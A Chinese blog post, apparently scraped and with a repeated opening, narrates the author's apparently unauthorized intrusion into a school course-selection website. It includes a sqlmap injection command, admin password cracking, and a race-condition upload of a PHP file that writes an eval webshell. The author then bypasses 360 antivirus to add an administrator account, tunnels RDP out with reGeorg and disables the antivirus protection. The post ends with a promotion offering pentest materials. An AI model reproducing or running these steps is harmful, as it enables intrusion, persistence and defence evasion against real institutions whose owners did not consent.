渗透测试常用工具总结(记一次简单的渗透测试)
渗透测试常用工具总结(记一次简单的渗透测试)注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器从网上搜索相关的漏洞,首先先查看版本image.pngpython2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes 接下来便是爆库,爆表,爆列,爆值等常规操作。获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台image.png接下来便是寻求Getshell的机会了
前言之前对渗透这方面的学习一直只是学到了Getshell为止,但是其实渗透可以说Getshell仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程
SQL注入该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入
image.png
简单测了一下,发现并没有什么过滤,那就常规操作,用SQLmap跑一下
python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
接下来便是爆库,爆表,爆列,爆值等常规操作。
获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台
image.png
Getshell接下来便是寻求Getshell的机会了
image.png
注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器
从网上搜索相关的漏洞,首先先查看版本
image.png
发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透本来到此就受阻
但是突然发现还有一个上传学生名单的接口
image.png
测试了一下,只有一个简单的前端认证,并且用burpsuite一看,还有了惊喜的发现
image.png
文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一下子就想到后端肯定写了一个自动清空temp目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问
这里我将要发包的文件改为:
<?php file_put_contents('../success.php' "<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。
用burpsuite的intruder模块不断发包,再访问我们上传的文件,便实现了成功写shell的目的,如图,Getshell:
image.png
image
系统信息搜集systeminfo查看系统相关信息
image.png
netstat -ano查看开放的端口
image.png
可以看到3389端口是打开的,也就是可以进行远程连接
whoami查看当前用户
image
远程连接可以看到是system权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组
在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有360
那么问题到这里就只有三条路了:
1. 杀掉360,看看能不能利用system的高权限杀掉360
2. 得到其他管理员账户的密码或者密码的hash值,利用其他管理员的账户进行登录
2. 绕过360创建一个管理员账号
我对这三种情况都进行了尝试:
- 方法1:我尝试利用taskkill来杀掉360的进程,但是始终报错,网上的资料五花八门,有的说system权限可以用taskkill来关闭360,也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层,即使system权限也无法用taskkill来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用taskkill来关掉360进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了
- 方法2:当我上传Quarks PwDump.exe和各种软件时,无一例外都会被360拦截,看起来这条路也堵死了
- 方法3:方法3就是我们最后的希望了,从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户,而这种方法360不会拦截,具体可以参见这篇文章:
[【编程】创建用户,并添加至管理组]
但是比较蛋疼的一点是我电脑没有VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了)
好在我在github上找到了一个别人编译好的版本
https://github.com/cckuailong/netuser
运行了一下,成功添加用户
那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用nmap扫了一下端口,发现3389没有开启,但是上面的netstat -ano显示3389是有开启的,那就只能说明3389端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。
将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php)
访问目标文件:
image.png
说明配置正常
最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出360所有防护,为接下来的进一步渗透做准备
这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。
写在后面这是我第一次进行后Getshell的渗透,写的可能很啰嗦并且很LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透
渗透测试书籍
渗透视频
需要渗透测试资料的关注我 ,私信回复"资料"领取!!
感谢大家的阅读与关注!!!